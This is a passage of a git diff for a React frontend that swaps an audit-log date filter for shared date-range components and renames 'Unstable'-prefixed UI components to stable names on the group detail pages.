-                          buttonClassName="w-44 h-8 font-normal"
-                          popUpProps={{
-                            open: isStartDatePickerOpen,
-                            onOpenChange: setIsStartDatePickerOpen
-                          }}
-                          popUpContentProps={{}}
-                        />
-                      </FormControl>
-                    );
-                  }}
-                />
-                <FontAwesomeIcon
-                  icon={faChevronRight}
-                  size="xs"
-                  className="mt-6 text-mineshaft-400"
-                />
-                <Controller
-                  name="endDate"
-                  control={control}
-                  render={({ field: { onChange, ...field }, fieldState: { error } }) => {
-                    return (
-                      <FormControl
-                        className="relative top-2"
-                        errorText={error?.message}
-                        isError={Boolean(error)}
-                        label="End Date"
-                      >
-                        <DatePicker
-                          value={field.value || undefined}
-                          onChange={onChange}
-                          dateFormat="P"
-                          buttonClassName="w-44 h-8 font-normal"
-                          timezone={timezone}
-                          popUpProps={{
-                            open: isEndDatePickerOpen,
-                            onOpenChange: setIsEndDatePickerOpen
-                          }}
-                          popUpContentProps={{}}
-                        />
-                      </FormControl>
-                    );
-                  }}
-                />
-              </div>
-            )}
-            <div className="mt-8 w-full justify-end">
-              <Button
-                size="sm"
-                type="submit"
-                className="h-9 w-24 font-normal"
-                variant="outline_bg"
-                isDisabled={!formState.isDirty}
-              >
-                Apply
-              </Button>
-            </div>
-          </form>
-        </DropdownMenuContent>
-      </DropdownMenu>
-      <Select
-        value={timezone}
-        onValueChange={(val) => setTimezone(val as Timezone)}
-        className="w-[10.6rem] border border-mineshaft-500! bg-mineshaft-600! capitalize"
-        dropdownContainerClassName="max-w-none"
-        position="popper"
-        dropdownContainerStyle={{
-          width: "100%"
-        }}
-      >
-        {Object.values(Timezone).map((tz) => (
-          <SelectItem value={tz} className="capitalize" key={tz}>
-            {tz} Timezone
-          </SelectItem>
-        ))}
-      </Select>
-    </>
-  );
-};
diff --git a/frontend/src/pages/organization/AuditLogsPage/components/LogsSection.tsx b/frontend/src/pages/organization/AuditLogsPage/components/LogsSection.tsx
index 533f9776bef..f1d2a4f47dc 100644
--- a/frontend/src/pages/organization/AuditLogsPage/components/LogsSection.tsx
+++ b/frontend/src/pages/organization/AuditLogsPage/components/LogsSection.tsx
@@ -1,11 +1,15 @@
 import { useEffect, useMemo, useState } from "react";
-import ms from "ms";
 
 import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
 import {
-  DocumentationLinkBadge,
-  UnstableAlert,
-  UnstableAlertDescription
+  Alert,
+  AlertDescription,
+  ButtonGroup,
+  DateRangeFilter,
+  type DateRangeFilterResult,
+  DateRangeFilterType,
+  DateRangeQuickPresets,
+  DocumentationLinkBadge
 } from "@app/components/v3";
 import {
   OrgPermissionAuditLogsActions,
@@ -27,15 +31,9 @@ import {
   AuditSearchFilter,
   logFilterToAppliedFilters
 } from "./AuditSearchFilter";
-import { LogsDateFilter } from "./LogsDateFilter";
 import { LogsFilter } from "./LogsFilter";
 import { LogsTable } from "./LogsTable";
-import {
-  AuditLogDateFilterType,
-  Presets,
-  TAuditLogDateFilterFormData,
-  TAuditLogFilterFormData
-} from "./types";
+import { Presets, TAuditLogFilterFormData } from "./types";
 
 type Props = {
   presets?: Presets;
@@ -70,8 +68,6 @@ const LogsSectionComponent = ({
     actor: presets?.actorId,
     eventMetadata: presets?.eventMetadata
   });
-  const [timezone, setTimezone] = useState<Timezone>(Timezone.Local);
-
   const [searchFilters, setSearchFilters] = useState<AppliedFilter[]>(() =>
     logFilterToAppliedFilters({
       eventType: presets?.eventType,
@@ -81,20 +77,23 @@ const LogsSectionComponent = ({
 
   const searchDerived = useMemo(() => appliedFiltersToLogFilter(searchFilters), [searchFilters]);
 
-  const [dateFilter, setDateFilter] = useState<TAuditLogDateFilterFormData>(
-    presets?.endDate || presets?.startDate
-      ? {
-          type: AuditLogDateFilterType.Absolute,
-          startDate: presets?.startDate || new Date(Number(new Date()) - ms("1h")),
-          endDate: presets?.endDate || new Date()
-        }
-      : {
-          startDate: new Date(Number(new Date()) - ms("1h")),
-          endDate: new Date(),
-          type: AuditLogDateFilterType.Relative,
-          relativeModeValue: "1h"
-        }
-  );
+  const hasPresetDates = Boolean(presets?.startDate || presets?.endDate);
+  const defaultCustomValue = hasPresetDates
+    ? {
+        type: DateRangeFilterType.Fixed as const,
+        startDate: presets?.startDate ?? new Date(Date.now() - 60 * 60 * 1000),
+        endDate: presets?.endDate ?? new Date()
+      }
+    : undefined;
+  const [activePreset, setActivePreset] = useState<string>(hasPresetDates ? "" : "1h");
+  const [dateRange, setDateRange] = useState<DateRangeFilterResult>({
+    startDate: presets?.startDate ?? new Date(Date.now() - 60 * 60 * 1000),
+    endDate: presets?.endDate ?? new Date(),
+    isUtc: false
+  });
+
+  const timezone = dateRange.isUtc ? Timezone.UTC : Timezone.Local;
+  const dateRangeAccent = project ? "primary" : "secondary";
 
   useEffect(() => {
     if (subscription && !subscription.auditLogs) {
@@ -106,8 +105,8 @@ const LogsSectionComponent = ({
     return (
       <div className="w-full rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
         {showClickHouseWarning && (
-          <UnstableAlert variant="warning" className="mb-4">
-            <UnstableAlertDescription>
+          <Alert variant="warning" className="mb-4">
+            <AlertDescription>
               <p>
                 Your audit log volume is growing. To keep searches fast and reduce database load, we
                 recommend streaming logs to an{" "}
@@ -130,8 +129,8 @@ const LogsSectionComponent = ({
                 </a>
                 .
               </p>
-            </UnstableAlertDescription>
-          </UnstableAlert>
+            </AlertDescription>
+          </Alert>
         )}
         <div className="mb-4 flex flex-wrap items-center justify-between gap-y-2">
           <div>
@@ -142,12 +141,25 @@ const LogsSectionComponent = ({
           </div>
           <div className="flex flex-wrap items-center gap-2 lg:justify-end">
             {showFilters && (
-              <LogsDateFilter
-                filter={dateFilter}
-                setFilter={setDateFilter}
-                timezone={timezone}
-                setTimezone={setTimezone}
-              />
+              <ButtonGroup>
+                <DateRangeQuickPresets
+                  value={activePreset}
+                  onChange={(preset, result) => {
+                    setActivePreset(preset);
+                    setDateRange(result);
+                  }}
+                  accent={dateRangeAccent}
+                />
+                <DateRangeFilter
+                  defaultValue={defaultCustomValue}
+                  isActive={!activePreset}
+                  onChange={(result) => {
+                    setActivePreset("");
+                    setDateRange(result);
+                  }}
+                  accent={dateRangeAccent}
+                />
+              </ButtonGroup>
             )}
           </div>
         </div>
@@ -180,8 +192,8 @@ const LogsSectionComponent = ({
               environment: searchDerived.environment || logFilter?.environment?.slug,
               secretPath: searchDerived.secretPath,
               secretKey: searchDerived.secretKey,
-              startDate: dateFilter?.startDate,
-              endDate: dateFilter?.endDate,
+              startDate: dateRange.startDate,
+              endDate: dateRange.endDate,
               limit: 15
             }}
             timezone={timezone}
@@ -200,8 +212,8 @@ const LogsSectionComponent = ({
   return (
     <div className="space-y-2">
       {showClickHouseWarning && (
-        <UnstableAlert variant="warning">
-          <UnstableAlertDescription>
+        <Alert variant="warning">
+          <AlertDescription>
             <p>
               Your audit log volume is growing. To keep searches fast and reduce database load, we
               recommend streaming logs to an{" "}
@@ -224,17 +236,30 @@ const LogsSectionComponent = ({
               </a>
               .
             </p>
-          </UnstableAlertDescription>
-        </UnstableAlert>
+          </AlertDescription>
+        </Alert>
       )}
       <div className="flex flex-wrap items-center gap-2 lg:justify-end">
         {showFilters && (
-          <LogsDateFilter
-            filter={dateFilter}
-            setFilter={setDateFilter}
-            timezone={timezone}
-            setTimezone={setTimezone}
-          />
+          <ButtonGroup>
+            <DateRangeQuickPresets
+              value={activePreset}
+              onChange={(preset, result) => {
+                setActivePreset(preset);
+                setDateRange(result);
+              }}
+              accent={dateRangeAccent}
+            />
+            <DateRangeFilter
+              defaultValue={defaultCustomValue}
+              isActive={!activePreset}
+              onChange={(result) => {
+                setActivePreset("");
+                setDateRange(result);
+              }}
+              accent={dateRangeAccent}
+            />
+          </ButtonGroup>
         )}
         {showFilters && (
           <LogsFilter presets={presets} setFilter={setLogFilter} filter={logFilter} />
@@ -251,8 +276,8 @@ const LogsSectionComponent = ({
           limit: 15,
           eventType: logFilter?.eventType,
           userAgentType: logFilter?.userAgentType,
-          startDate: dateFilter?.startDate,
-          endDate: dateFilter?.endDate,
+          startDate: dateRange.startDate,
+          endDate: dateRange.endDate,
           environment: logFilter?.environment?.slug,
           actor: logFilter?.actor
         }}
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/GroupDetailsByIDPage.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/GroupDetailsByIDPage.tsx
index e2d834aa81f..90e1c07d4a7 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/GroupDetailsByIDPage.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/GroupDetailsByIDPage.tsx
@@ -8,10 +8,10 @@ import { OrgPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, PageHeader, Spinner } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger
 } from "@app/components/v3";
 import { ROUTE_PATHS } from "@app/const/routes";
 import { OrgPermissionGroupActions, OrgPermissionSubjects, useOrganization } from "@app/context";
@@ -100,15 +100,15 @@ const Page = () => {
             description={`Configure and manage ${isSubOrganization ? "sub-" : ""}organization group`}
             title={data.group.name}
           >
-            <UnstableDropdownMenu>
-              <UnstableDropdownMenuTrigger asChild>
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild>
                 <Button variant="outline">
                   Options
                   <EllipsisIcon />
                 </Button>
-              </UnstableDropdownMenuTrigger>
-              <UnstableDropdownMenuContent align="end">
-                <UnstableDropdownMenuItem
+              </DropdownMenuTrigger>
+              <DropdownMenuContent align="end">
+                <DropdownMenuItem
                   onClick={() => {
                     navigator.clipboard.writeText(groupId);
                     createNotification({
@@ -118,14 +118,14 @@ const Page = () => {
                   }}
                 >
                   Copy Group ID
-                </UnstableDropdownMenuItem>
+                </DropdownMenuItem>
                 {canEditGroup && (
                   <OrgPermissionCan
                     I={OrgPermissionGroupActions.Edit}
                     a={OrgPermissionSubjects.Groups}
                   >
                     {(isAllowed) => (
-                      <UnstableDropdownMenuItem
+                      <DropdownMenuItem
                         isDisabled={!isAllowed}
                         onClick={() => {
                           handlePopUpOpen("groupCreateUpdate", {
@@ -137,7 +137,7 @@ const Page = () => {
                         }}
                       >
                         Edit Group
-                      </UnstableDropdownMenuItem>
+                      </DropdownMenuItem>
                     )}
                   </OrgPermissionCan>
                 )}
@@ -146,7 +146,7 @@ const Page = () => {
                   a={OrgPermissionSubjects.Groups}
                 >
                   {(isAllowed) => (
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       variant="danger"
                       isDisabled={!isAllowed}
                       onClick={() => {
@@ -158,11 +158,11 @@ const Page = () => {
                       }}
                     >
                       {isLinkedGroup ? "Unlink Group" : "Delete Group"}
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   )}
                 </OrgPermissionCan>
-              </UnstableDropdownMenuContent>
-            </UnstableDropdownMenu>
+              </DropdownMenuContent>
+            </DropdownMenu>
           </PageHeader>
           <div className="flex flex-col gap-5 lg:flex-row">
             <GroupDetailsSection
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupDetailsSection.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupDetailsSection.tsx
index 6ad9a8adfd2..3ac80e10a5f 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupDetailsSection.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupDetailsSection.tsx
@@ -5,19 +5,19 @@ import { OrgPermissionCan } from "@app/components/permissions";
 import { Tooltip } from "@app/components/v2";
 import {
   Badge,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   Detail,
   DetailGroup,
   DetailLabel,
   DetailValue,
+  IconButton,
   OrgIcon,
-  SubOrgIcon,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableIconButton
+  SubOrgIcon
 } from "@app/components/v3";
 import { OrgPermissionGroupActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import { useTimedReset } from "@app/hooks";
@@ -43,15 +43,15 @@ export const GroupDetailsSection = ({ groupId, handlePopUpOpen, canEditGroup = t
   });
 
   return data ? (
-    <UnstableCard className="w-full lg:max-w-[24rem]">
-      <UnstableCardHeader className="border-b">
-        <UnstableCardTitle>Details</UnstableCardTitle>
-        <UnstableCardDescription>Group details</UnstableCardDescription>
+    <Card className="w-full lg:max-w-[24rem]">
+      <CardHeader className="border-b">
+        <CardTitle>Details</CardTitle>
+        <CardDescription>Group details</CardDescription>
         {canEditGroup && (
-          <UnstableCardAction>
+          <CardAction>
             <OrgPermissionCan I={OrgPermissionGroupActions.Edit} a={OrgPermissionSubjects.Groups}>
               {(isAllowed) => (
-                <UnstableIconButton
+                <IconButton
                   isDisabled={!isAllowed}
                   onClick={() => {
                     handlePopUpOpen("groupCreateUpdate", {
@@ -65,13 +65,13 @@ export const GroupDetailsSection = ({ groupId, handlePopUpOpen, canEditGroup = t
                   variant="outline"
                 >
                   <PencilIcon />
-                </UnstableIconButton>
+                </IconButton>
               )}
             </OrgPermissionCan>
-          </UnstableCardAction>
+          </CardAction>
         )}
-      </UnstableCardHeader>
-      <UnstableCardContent>
+      </CardHeader>
+      <CardContent>
         <DetailGroup>
           <Detail>
             <DetailLabel>Name</DetailLabel>
@@ -82,7 +82,7 @@ export const GroupDetailsSection = ({ groupId, handlePopUpOpen, canEditGroup = t
             <DetailValue className="flex items-center gap-x-1">
               {data.group.id}
               <Tooltip content="Copy group ID to clipboard">
-                <UnstableIconButton
+                <IconButton
                   onClick={() => {
                     navigator.clipboard.writeText(data.group.id);
                     setCopyTextId("Copied");
@@ -91,7 +91,7 @@ export const GroupDetailsSection = ({ groupId, handlePopUpOpen, canEditGroup = t
                   size="xs"
                 >
                   {isCopyingId ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                </UnstableIconButton>
+                </IconButton>
               </Tooltip>
             </DetailValue>
           </Detail>
@@ -100,7 +100,7 @@ export const GroupDetailsSection = ({ groupId, handlePopUpOpen, canEditGroup = t
             <DetailValue className="flex items-center gap-x-1">
               {data.group.slug}
               <Tooltip content="Copy slug to clipboard">
-                <UnstableIconButton
+                <IconButton
                   onClick={() => {
                     navigator.clipboard.writeText(data.group.slug);
                     setCopyTextSlug("Copied");
@@ -109,7 +109,7 @@ export const GroupDetailsSection = ({ groupId, handlePopUpOpen, canEditGroup = t
                   size="xs"
                 >
                   {isCopyingSlug ? <CheckIcon /> : <ClipboardListIcon className="text-label" />}
-                </UnstableIconButton>
+                </IconButton>
               </Tooltip>
             </DetailValue>
           </Detail>
@@ -140,8 +140,8 @@ export const GroupDetailsSection = ({ groupId, handlePopUpOpen, canEditGroup = t
             <DetailValue>{format(data.group.createdAt, "PPpp")}</DetailValue>
           </Detail>
         </DetailGroup>
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   ) : (
     <div />
   );
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersSection.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersSection.tsx
index 1e6b1f9209f..f4aeff4ecf5 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersSection.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersSection.tsx
@@ -5,12 +5,12 @@ import { OrgPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Button,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle
 } from "@app/components/v3";
 import { OrgPermissionGroupActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import {
@@ -86,11 +86,11 @@ export const GroupMembersSection = ({ groupId, groupSlug, isLinkedGroup = false
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Group Members</UnstableCardTitle>
-          <UnstableCardDescription>Manage members of this group</UnstableCardDescription>
-          <UnstableCardAction>
+      <Card>
+        <CardHeader>
+          <CardTitle>Group Members</CardTitle>
+          <CardDescription>Manage members of this group</CardDescription>
+          <CardAction>
             {!isLinkedGroup && (
               <OrgPermissionCan I={OrgPermissionGroupActions.Edit} a={OrgPermissionSubjects.Groups}>
                 {(isAllowed) => (
@@ -111,17 +111,17 @@ export const GroupMembersSection = ({ groupId, groupSlug, isLinkedGroup = false
                 )}
               </OrgPermissionCan>
             )}
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <GroupMembersTable
             groupId={groupId}
             groupSlug={groupSlug}
             handlePopUpOpen={handlePopUpOpen}
             isLinkedGroup={isLinkedGroup}
           />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <AddGroupMembersModal
         popUp={popUp}
         handlePopUpToggle={handlePopUpToggle}
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersTable.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersTable.tsx
index 46225e0e000..44f88f2dd7a 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersTable.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembersTable.tsx
@@ -6,24 +6,24 @@ import { OrgPermissionCan } from "@app/components/permissions";
 import { Lottie } from "@app/components/v2";
 import {
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableInput,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Input,
+  Pagination,
+  Table,
+  TableBody,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { OrgPermissionGroupActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import {
@@ -129,27 +129,27 @@ export const GroupMembersTable = ({
   return (
     <>
       <div className="mb-4 flex gap-2">
-        <UnstableInput
+        <Input
           value={search}
           onChange={(e) => setSearch(e.target.value)}
           placeholder="Search members..."
           className="flex-1"
         />
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton
               variant={
                 // eslint-disable-next-line no-nested-ternary
                 memberTypeFilter.length ? (isSubOrganization ? "sub-org" : "org") : "outline"
               }
             >
               <FilterIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuLabel>Filter by Member Type</UnstableDropdownMenuLabel>
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuLabel>Filter by Member Type</DropdownMenuLabel>
             {filterOptions.map((option) => (
-              <UnstableDropdownMenuCheckboxItem
+              <DropdownMenuCheckboxItem
                 key={option.value}
                 checked={memberTypeFilter.includes(option.value)}
                 onClick={(e) => {
@@ -164,17 +164,17 @@ export const GroupMembersTable = ({
                 }}
               >
                 {option.label}
-              </UnstableDropdownMenuCheckboxItem>
+              </DropdownMenuCheckboxItem>
             ))}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
       </div>
       {members.length ? (
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead className="w-5" />
-              <UnstableTableHead onClick={toggleOrderDirection} className="w-2/3">
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead className="w-5" />
+              <TableHead onClick={toggleOrderDirection} className="w-2/3">
                 Name
                 <ChevronDownIcon
                   className={twMerge(
@@ -182,12 +182,12 @@ export const GroupMembersTable = ({
                     "transition-transform"
                   )}
                 />
-              </UnstableTableHead>
-              <UnstableTableHead>Added On</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+              </TableHead>
+              <TableHead>Added On</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {members.map((userGroupMembership) =>
               userGroupMembership.type === GroupMemberType.USER ? (
                 <GroupMembershipUserRow
@@ -205,21 +205,21 @@ export const GroupMembersTable = ({
                 />
               )
             )}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       ) : (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {isFiltered ? "No members match this search" : "This group does not have any members"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {isFiltered
                 ? "Adjust search filters to view members."
                 : "Add users or machine identities to this group."}
-            </UnstableEmptyDescription>
+            </EmptyDescription>
             {!isFiltered && !isLinkedGroup && (
-              <UnstableEmptyContent>
+              <EmptyContent>
                 <OrgPermissionCan
                   I={OrgPermissionGroupActions.Edit}
                   a={OrgPermissionSubjects.Groups}
@@ -241,13 +241,13 @@ export const GroupMembersTable = ({
                     </Button>
                   )}
                 </OrgPermissionCan>
-              </UnstableEmptyContent>
+              </EmptyContent>
             )}
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+          </EmptyHeader>
+        </Empty>
       )}
       {Boolean(members.length) && (
-        <UnstablePagination
+        <Pagination
           count={totalCount}
           page={page}
           perPage={perPage}
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipIdentityRow.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipIdentityRow.tsx
index b083ec73d8d..2a99ead5ba8 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipIdentityRow.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipIdentityRow.tsx
@@ -3,13 +3,13 @@ import { HardDriveIcon, MoreHorizontalIcon } from "lucide-react";
 
 import { OrgPermissionCan } from "@app/components/permissions";
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow
 } from "@app/components/v3";
 import { OrgPermissionGroupActions, OrgPermissionSubjects } from "@app/context";
 import { GroupMemberType, TGroupMemberMachineIdentity } from "@app/hooks/api/groups/types";
@@ -34,24 +34,24 @@ export const GroupMembershipIdentityRow = ({
   isLinkedGroup = false
 }: Props) => {
   return (
-    <UnstableTableRow key={`group-identity-${id}`}>
-      <UnstableTableCell>
+    <TableRow key={`group-identity-${id}`}>
+      <TableCell>
         <HardDriveIcon size={14} className="text-mineshaft-400" />
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>{name}</UnstableTableCell>
-      <UnstableTableCell>{format(new Date(joinedGroupAt), "yyyy-MM-dd")}</UnstableTableCell>
-      <UnstableTableCell>
+      </TableCell>
+      <TableCell isTruncatable>{name}</TableCell>
+      <TableCell>{format(new Date(joinedGroupAt), "yyyy-MM-dd")}</TableCell>
+      <TableCell>
         {!isLinkedGroup && (
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger>
-              <UnstableIconButton variant="ghost" size="xs">
+          <DropdownMenu>
+            <DropdownMenuTrigger>
+              <IconButton variant="ghost" size="xs">
                 <MoreHorizontalIcon />
-              </UnstableIconButton>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent align="end">
+              </IconButton>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end">
               <OrgPermissionCan I={OrgPermissionGroupActions.Edit} a={OrgPermissionSubjects.Groups}>
                 {(isAllowed) => (
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     variant="danger"
                     onClick={() =>
                       handlePopUpOpen("removeMemberFromGroup", {
@@ -63,13 +63,13 @@ export const GroupMembershipIdentityRow = ({
                     isDisabled={!isAllowed}
                   >
                     Remove Identity From Group
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 )}
               </OrgPermissionCan>
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
+            </DropdownMenuContent>
+          </DropdownMenu>
         )}
-      </UnstableTableCell>
-    </UnstableTableRow>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipUserRow.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipUserRow.tsx
index 7f5b1e4a8fa..b74b357d564 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipUserRow.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupMembersSection/GroupMembershipUserRow.tsx
@@ -4,13 +4,13 @@ import { MoreHorizontalIcon, UserIcon } from "lucide-react";
 import { OrgPermissionCan } from "@app/components/permissions";
 import { Tooltip } from "@app/components/v2";
 import {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton,
-  UnstableTableCell,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton,
+  TableCell,
+  TableRow
 } from "@app/components/v3";
 import { OrgPermissionGroupActions, OrgPermissionSubjects, useOrganization } from "@app/context";
 import { useOidcManageGroupMembershipsEnabled } from "@app/hooks/api";
@@ -41,23 +41,23 @@ export const GroupMembershipUserRow = ({
     useOidcManageGroupMembershipsEnabled(currentOrg.id);
 
   return (
-    <UnstableTableRow key={`group-user-${id}`}>
-      <UnstableTableCell>
+    <TableRow key={`group-user-${id}`}>
+      <TableCell>
         <UserIcon size={14} className="text-mineshaft-400" />
-      </UnstableTableCell>
-      <UnstableTableCell isTruncatable>
+      </TableCell>
+      <TableCell isTruncatable>
         {`${firstName ?? "-"} ${lastName ?? ""}`} <span className="text-muted">({email})</span>
-      </UnstableTableCell>
-      <UnstableTableCell>{format(new Date(joinedGroupAt), "yyyy-MM-dd")}</UnstableTableCell>
-      <UnstableTableCell>
+      </TableCell>
+      <TableCell>{format(new Date(joinedGroupAt), "yyyy-MM-dd")}</TableCell>
+      <TableCell>
         {!isLinkedGroup && (
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger>
-              <UnstableIconButton variant="ghost" size="xs">
+          <DropdownMenu>
+            <DropdownMenuTrigger>
+              <IconButton variant="ghost" size="xs">
                 <MoreHorizontalIcon />
-              </UnstableIconButton>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent align="end">
+              </IconButton>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end">
               <OrgPermissionCan I={OrgPermissionGroupActions.Edit} a={OrgPermissionSubjects.Groups}>
                 {(isAllowed) => (
                   <Tooltip
@@ -68,7 +68,7 @@ export const GroupMembershipUserRow = ({
                     }
                     position="left"
                   >
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       variant="danger"
                       onClick={() =>
                         handlePopUpOpen("removeMemberFromGroup", {
@@ -79,14 +79,14 @@ export const GroupMembershipUserRow = ({
                       isDisabled={!isAllowed || isOidcManageGroupMembershipsEnabled}
                     >
                       Remove User From Group
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   </Tooltip>
                 )}
               </OrgPermissionCan>
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
+            </DropdownMenuContent>
+          </DropdownMenu>
         )}
-      </UnstableTableCell>
-    </UnstableTableRow>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectRow.tsx b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectRow.tsx
index 1df4fb45acd..3ce2f5881f7 100644
--- a/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectRow.tsx
+++ b/frontend/src/pages/organization/GroupDetailsByIDPage/components/GroupProjectsSection/GroupProjectRow.tsx
@@ -6,13 +6,13 @@ import { MoreHorizontalIcon } from "lucide-react";
 import { createNotification } from "@app/components/notifications";
 import { OrgPermissionCan } from "@app/components/permissions";
 import {
-  UnstableDropdownMenu,
